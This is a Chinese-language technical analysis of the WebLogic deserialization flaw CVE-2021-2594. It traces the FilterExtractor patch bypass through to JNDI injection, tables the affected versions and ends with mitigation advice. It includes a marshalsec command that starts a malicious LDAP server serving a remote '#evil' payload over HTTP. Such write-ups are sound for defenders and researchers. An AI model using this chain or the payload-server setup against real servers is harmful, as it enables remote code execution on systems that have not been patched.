前言
在2021年7月21日,Oracle官方 发布了一系列安全更新。涉及旗下产品(Weblogic Server、Database Server、Java SE、MySQL等)的 342 个漏洞,www.oracle.com/security-al… WebLogic Server 产品中有高危漏洞,漏洞编号为 CVE-2021-2594,CVSS 评分9.8分,影响多个 WebLogic 版本,且漏洞利用难度低,可基于 T3 和 IIOP 协议执行远程代码。
经过分析,此次漏洞结合了 CVE-2020-14756 和 CVE-2020-14825 反序列化链,利用FilterExtractor
这个类来对4月份补丁进行绕过。
补丁回顾
在4月份补丁中,对 ExternalizableHelper
中的 readExternalizable
做了修改,增加了对传入的 DataInput
判断,如果是 ObjectInputStream
类型就会调用 checkObjectInputFilter
函数进行过滤。所以再利用 CVE-2020-14756 中直接反序列化 com.tangosol.coherence.rest.util.extractor.MvelExtractor
来造成 RCE 的方法已经行不通了。
![](https://i-blog.csdnimg.cn/blog_migrate/362bb7d36a054f7f71f0e0b0a8c469eb.png)
调试环境
本文基于 win7 虚拟机 + Weblogic 12.1.4 版本 + jdk 8u181 进行研究分析测试
修改目录 user_project/domains/base_domain/bin
目录中 setDomainEnv.cmd
,加if %debugFlag == "true"%
之前加入 set debugFlag=true
。
拷贝 Oracle_Home
目录下所有文件至调试目录,将 \coherence\lib
,\oracle_common\modules
目录下所有文件添加到 Libraries:
![](https://i-blog.csdnimg.cn/blog_migrate/299d46f3592632eb2b5a735b333c3283.png)
配置 idea 中 jdk 版本与虚拟机中运行的 weblogic jdk 版本保持一致。
添加 remote 调试:
![](https://i-blog.csdnimg.cn/blog_migrate/afa0401c46a2b84fbf2363f564d20aac.png)
漏洞利用
该漏洞主要是因为 FilterExtractor
的 readExternal
方法中会直接 new
一个 MethodAttributeAccessor
对象,使得生成 MethodAttributeAccessor
的时候不会受到黑名单的限制,来对4月份的补丁进行绕过。
FilterExtractor
类具有如下特征:
1.FilterExtractor
实现了 ExternalizableLite
接口,重写了 readExternal
方法:
![](https://i-blog.csdnimg.cn/blog_migrate/5bcbc3c0e1aab7d249504eee5487aba2.png)
![](https://i-blog.csdnimg.cn/blog_migrate/7e7adba2d4594efa7c777d33c63c0865.png)
readExternal
会调用oracle.eclipselink.coherence.integrated.internal.cache.SerializationHelper#readAttributeAccessor
方法:
![](https://i-blog.csdnimg.cn/blog_migrate/a9a8057d3a0276a72f9d94ff03a2594d.png)
可以看到会 new
一个 MethodAttributeAccessor
对象,然后根据 DataInput
赋值它的 setAttributeName
,setGetMethodName
以及 setSetMethodName
属性(这就导致这三个属性是可控的)。
2.FilterExtractor
的 extract
方法中存在 this.attributeAccessor.getAttributeValueFromObject()
的调用。
![](https://i-blog.csdnimg.cn/blog_migrate/4d782103563eead763818a13bd302893.png)
熟悉 coherence 组件的漏洞的朋友应该知道在 CVE-2020-14825 中,就是利用 MethodAttributeAccessor.getAttributeValueFromObject()
来实现任意无参方法的调用的。
![](https://i-blog.csdnimg.cn/blog_migrate/13fa4e718b3f00fc6c5abd183057d132.png)
虽然 MethodAttributeAccessor
已经加入到了黑名单,但是在上面提到的 readExternal
方法中恰好直接 new
了一个 MethodAttributeAccessor
对象,也就是说不是通过反序列化得到 MethodAttributeAccessor
对象,自然也就不受黑名单的影响。
调用链
完整调用链如下:
![](https://i-blog.csdnimg.cn/blog_migrate/c63edbaa88ba32c3501cd3973369632a.png)
![](https://i-blog.csdnimg.cn/blog_migrate/3cb82bf920091c5a74ff57efa8ed078d.png)
漏洞分析
根据构造的 poc ,我们首先在 AttributeHolder
类的 readExternal
方法中打上断点,另一边则运行我们的 poc ,成功断下:
![](https://i-blog.csdnimg.cn/blog_migrate/9a85811ef83ac19cdc975baa2471a35c.png)
步入,会调用到 com.tangosol.util.ExternalizableHelper
中的 readObject
方法:
![](https://i-blog.csdnimg.cn/blog_migrate/9bba160aa5f261574c29010fa992e1f8.png)
步入,最后会进入到 com.tangosol.util.ExternalizableHelper
中的 readObjectInternal
方法中调用 readExternalizableLite
方法:
![](https://i-blog.csdnimg.cn/blog_migrate/debf58a46503a0ad1b67e7d0134eb060.png)
![](https://i-blog.csdnimg.cn/blog_migrate/7965f01d9125b0e5da702bcec1805fea.png)
步入,在com.tangosol.util.ExternalizableHelper#readExternalizableLite
方法中,首先会调用 loadClass
去加载类,然后调用无参构造函数实例化一个对象,这里个加载的类是 com.tangosol.util.aggregator.TopNAggregator$PartialResult
:
![](https://i-blog.csdnimg.cn/blog_migrate/9caacd4393b75b455433eb159238fe70.png)
![](https://i-blog.csdnimg.cn/blog_migrate/65fb48da58fee46480e43411a3e530be.png)
随后会调用 com.tangosol.util.aggregator.TopNAggregator$PartialResult
类的 readExternal 方法:
![](https://i-blog.csdnimg.cn/blog_migrate/fff8c0963df82f6e0f92e7b962587554.png)
步入,会再次调用 com.tangosol.util.ExternalizableHelper.readObject
方法来读取一个对象并且赋值到 this.m_comparator
中,
![](https://i-blog.csdnimg.cn/blog_migrate/4db4cd484a8f56adc23649e943686fb2.png)
步入,之后会再次调用到 com.tangosol.util.ExternalizableHelper#readExternalizableLite
方法,由于这次读取的 sClass
是 oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor
,所以会实例化一个 FilterExtractor
对象,然后调用它的 readExternal
方法:
![](https://i-blog.csdnimg.cn/blog_migrate/1d8493a523ec0d7872e98c56d176f034.png)
![](https://i-blog.csdnimg.cn/blog_migrate/85ed49b1df5f2d593571282d54fe2fd1.png)
步入 ,来到 FilterExtractor
的 readExteral
中,会调用 oracle.eclipselink.coherence.integrated.internal.cache.SerializationHelper#readAttributeAccessor
方法:
![](https://i-blog.csdnimg.cn/blog_migrate/bcdaa5e345dec7ffce68f694ee793336.png)
步入,会 new
一个 MethodAttributeAccessor
对象,并且调用 com.tangosol.util.SerializationHelper#readObject
方法给 MethodAttributeAccessor
对象的 attributeName
, getMethodName
和 setMethodName
这三个属性赋值:
![](https://i-blog.csdnimg.cn/blog_migrate/3c2b269594167282f2a5fe24ff4c5041.png)
赋值之后的结果为:
![](https://i-blog.csdnimg.cn/blog_migrate/b6ff5fb1c183a73bb5ad049ea4d5a12b.png)
再回到之前的 com.tangosol.util.aggregator.TopNAggregator$PartialResult
类的 readExternal 方法中,this.m_comparator
变成了上面 oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor
对象:
![](https://i-blog.csdnimg.cn/blog_migrate/23196a6f459aad143f813c9a0f26d27b.png)
![](https://i-blog.csdnimg.cn/blog_migrate/87e3431fe06bc77791cbbf632d307002.png)
接着在 182 行,会调用 this.instantiateInternalMap(this.m_comparator)
方法,步入,会把 FilterExtractor
再封装到 WrapperCompator
中,然后传入 TreeMap
的构造函数,实例化一个 TreeMap
对象并且返回:
![](https://i-blog.csdnimg.cn/blog_migrate/21bb4c7e61174548fb0bc1fc2f931942.png)
![](https://i-blog.csdnimg.cn/blog_migrate/bd19d5beb7b0ed5a0cb6636acad23baa.png)
186 行,调用 this.add
方法,这里 ExternalizableHelper.readObject(in)
返回的是 JdbcRowSetImpl
对象
![](https://i-blog.csdnimg.cn/blog_migrate/ec50ef2b0960e3b5389f0c71e893626a.png)
![](https://i-blog.csdnimg.cn/blog_migrate/cbdce2d86a1295154f46b8d952cce61c.png)
![](https://i-blog.csdnimg.cn/blog_migrate/322e6d21afb7168b39e6a9c631afa92f.png)
接着步入 super.add
方法:
![](https://i-blog.csdnimg.cn/blog_migrate/594521713c8b3533e42909b29983f992.png)
然后会调用 TreeMap.put
方法,添加传入的 JdbcRowSetImpl
对象,最后会来到 com.tangosol.util.WrapperComparator#compare
方法并触发 this.f_comparator.compare
方法, this.f_comparator
正是之前传入的 FilterExtractor
对象:
![](https://i-blog.csdnimg.cn/blog_migrate/82b7b2767aec2e7c7186f7bd57c2ca92.png)
![](https://i-blog.csdnimg.cn/blog_migrate/11891bfe0104f585954e0317dde4d9c5.png)
步入,会调用 com.tangosol.util.extractor#compare
方法,这个方法中又会调用到 this.extract
方法,也就是会调用 FilterExtractor#extract
方法,进而调用 this.attributeAccessor
的 initializeAttributes
方法, 而此时的 this.attributeAccssor
是 MethodAttributeAccessor
对象,所以会调用 MethodAttributeAccessor#initializeAttributes
方法:
![](https://i-blog.csdnimg.cn/blog_migrate/89455223f8f07c26d7288c9ba106971b.png)
![](https://i-blog.csdnimg.cn/blog_migrate/dc6a993595902c849ec3f99ddccf2654.png)
在 MethodAttributeAccessor
中的 initializeAttributes
方法中首先会调用 this.setGetMethod
方法来设置 MethodAttributeAccessor
的 getMethod
:
![](https://i-blog.csdnimg.cn/blog_migrate/409b8eecb1027c1d748d2d54440d95e8.png)
其中 Helper.getDeclaredMethod
方法流程如下,是通过传入的类,方法名,以及参数类型来得到对应 class
的 Method
:
![](https://i-blog.csdnimg.cn/blog_migrate/7763a6cc69b35308ebbf770d00d4ba41.png)
![](https://i-blog.csdnimg.cn/blog_migrate/e8089bba6a9416b6a1f2eace521cf3ce.png)
![](https://i-blog.csdnimg.cn/blog_migrate/1986323ac32ac04e4aa4bc20cea1a9f9.png)
此时由于 theJavaClass
是 com.sun.rowset.JdbcRowSetImpl
, this.getMethodName
是 "prepare"
,所以第一次得到的 prepare
方法:
![](https://i-blog.csdnimg.cn/blog_migrate/aeeba00784ac1ad56c0d21f30cd0c2be.png)
![](https://i-blog.csdnimg.cn/blog_migrate/ba08e14829503ab7674401484437dc8e.png)
![](https://i-blog.csdnimg.cn/blog_migrate/af0a15e7d715f6222b3e847b2ca15a13.png)
与 CVE-2020-14825 的反序列化流程不同的是, 因为在 initializeAttributes
的时候,我们不能再通过控制 isWriteOnly
属性为 true
,所以会进入到下面这个 if 分支里面去:
![](https://i-blog.csdnimg.cn/blog_migrate/9311913a87ee61e9a0f99dd67488d697.png)
会先调用 this.getSetMethodParameterTypes
得到 this.getGetMethod
属性代表的方法的返回值:
![](https://i-blog.csdnimg.cn/blog_migrate/a1c4f8a2c91c59652b64353e1c8cbb39.png)
![](https://i-blog.csdnimg.cn/blog_migrate/2602feb181cc94390c80a3532f953c37.png)
this.getGetMethod
在上一步赋值为了 protected java.sql.PreparedStatement com.sun.rowset.JdbcRowSetImpl.prepare() throws java.sql.SQLException
,
![](https://i-blog.csdnimg.cn/blog_migrate/20f447329354d90f686ccf0b1f3418c0.png)
所以这里 this.getSetMethodParameterTypes
方法得到的是 java.sql.PreparedStatement
类型:
![](https://i-blog.csdnimg.cn/blog_migrate/f789b9aa9fb6230c61c3380cd9b4eff0.png)
然后调用Helper.getDeclaredMethod(theJavaClass, this.getSetMethodName(), this.getSetMethodParameterTypes());
就会得到 protected java.sql.PreparedStatement com.sun.rowset.JdbcRowSetImpl.prepare() throws java.sql.SQLException
方法。
initializeAttributes
结束后 MethodAttributeAccessor
的属性值:
![](https://i-blog.csdnimg.cn/blog_migrate/6f76ad45aecb0f0a3e5b5b74a5034797.png)
接着,回到 FilterExtractor#extract
方法中,会继续调用 this.attributeAccessor.getAttributeValueFromObject
也就是调用 MethodAttributeAccessor.getAttributeValueFromObject
方法:
![](https://i-blog.csdnimg.cn/blog_migrate/28e162d33c59a693648375bf65ea26cb.png)
步入:
![](https://i-blog.csdnimg.cn/blog_migrate/260f00e04b5cef7e7823a9b71f77b5d9.png)
步入,会利用反射调用方法:
![](https://i-blog.csdnimg.cn/blog_migrate/652151d1bbbf28612bfd55430818ecc5.png)
此时 this.getMethod
是 protected java.sql.PreparedStatement com.sun.rowset.JdbcRowSetImpl.prepare() throws java.sql.SQLException
,abObject
是 JbbcRoeSetImpl
:
![](https://i-blog.csdnimg.cn/blog_migrate/7ad72e5d17bc85947e2741fadb2e02bc.png)
这就导致了 jndi 注入的产生:
![](https://i-blog.csdnimg.cn/blog_migrate/c3c80cfb845073f59b6a2f730771cb09.png)
![](https://i-blog.csdnimg.cn/blog_migrate/cc268f0a82e6ccbdeac88c172d245e07.png)
![](https://i-blog.csdnimg.cn/blog_migrate/387a2268b542cc58e2c93c602e31c12a.png)
我们在本地使用 marshalsec 搭建恶意 jndi 服务端:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.1:8000/ #evil 1389
python -m http.server
成功 RCE:
jndi 版本问题
在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被设置为false,所以此 ldap + jndi 导致 RCE 的方法失效。
<a name=”10.3.6.0 问题” class=”reference-link”>10.3.6.0 问题
在使用基于 TopNAggregator.PartialResult
的 poc 对官网说的版本进行复现的时候,发现 10.3.6.0.0 版本中并不存在 com.tangosol.util.SortedBag
和 com.tangosol.util.aggregator.TopNAggregator
这两个类:
![](https://i-blog.csdnimg.cn/blog_migrate/d04ba10bec639cb409fc7c4fb7ee521c.png)
缺少 SortedBag
:
![](https://i-blog.csdnimg.cn/blog_migrate/5fe2f7019956107722647827fdbb4344.png)
缺少 TopNAggregator
:
![](https://i-blog.csdnimg.cn/blog_migrate/77f73efebf48cf728ba60de2f343f358.png)
weblogic 版本问题
使用不同 weblogic 版本的 jar 包对不同版本的 weblogic 进行测试,经过测试研究发现以下情况:
jar 版本 | weblogic 版本 | 成功情况 |
---|---|---|
12.1.3.0.0 | 12.1.3.0.0 | 成功 |
12.1.3.0.0 | 12.2.1.3.0 | 失败 |
12.1.3.0.0 | 12.2.1.4.0 | 失败 |
12.1.3.0.0 | 14.1.1.0.0 | 失败 |
12.2.1.3.0 | 12.1.3.0.0 | 失败 |
12.2.1.3.0 | 12.2.1.3.0 | 成功 |
12.2.1.3.0 | 12.2.1.4.0 | 成功 |
12.2.1.3.0 | 14.1.1.0.0 | 成功 |
12.2.1.4.0 | 12.1.3.0.0 | 失败 |
12.2.1.4.0 | 12.2.1.3.0 | 成功 |
12.2.1.4.0 | 12.2.1.4.0 | 成功 |
12.2.1.4.0 | 14.1.1.0.0 | 成功 |
14.1.1.0.0 | 12.1.3.0.0 | 失败 |
14.1.1.0.0 | 12.2.1.3.0 | 成功 |
14.1.1.0.0 | 12.2.1.4.0 | 成功 |
14.1.1.0.0 | 14.1.1.0.0 | 成功 |
7月份补丁影响
打了7月份补丁之后,会报错:
![](https://i-blog.csdnimg.cn/blog_migrate/916d8e698f6f7e5e4cdb84071a9b5242.png)
原因是在 WebLogicFilterConfig
类的DEFAULT_BLACKLIST_PACKAGES
字段中新增了 oracle.eclipselink.coherence.integrated.internal.querying
这个包:
而 FilterExtractor
类正好在 oracle.eclipselink.coherence.integrated.internal.querying
包下面,所以导致被黑名单拦截了下来。
修复建议
通用修补建议
Oracle官方已经发布补丁,及时进行更新:www.oracle.com/security-al…
Weblogic 临时修补建议
1.如果不依赖 T3协议进行 JVM通信,可禁用 T3协议。
2.如果不依赖 IIOP协议进行 JVM通信,可禁用 IIOP协议。
![](https://i-blog.csdnimg.cn/blog_migrate/e678c57f9b0448a4f6c144d7ec96f9f1.png)
![](https://i-blog.csdnimg.cn/blog_migrate/08c3b846393bdaea6409358cbf194580.jpeg)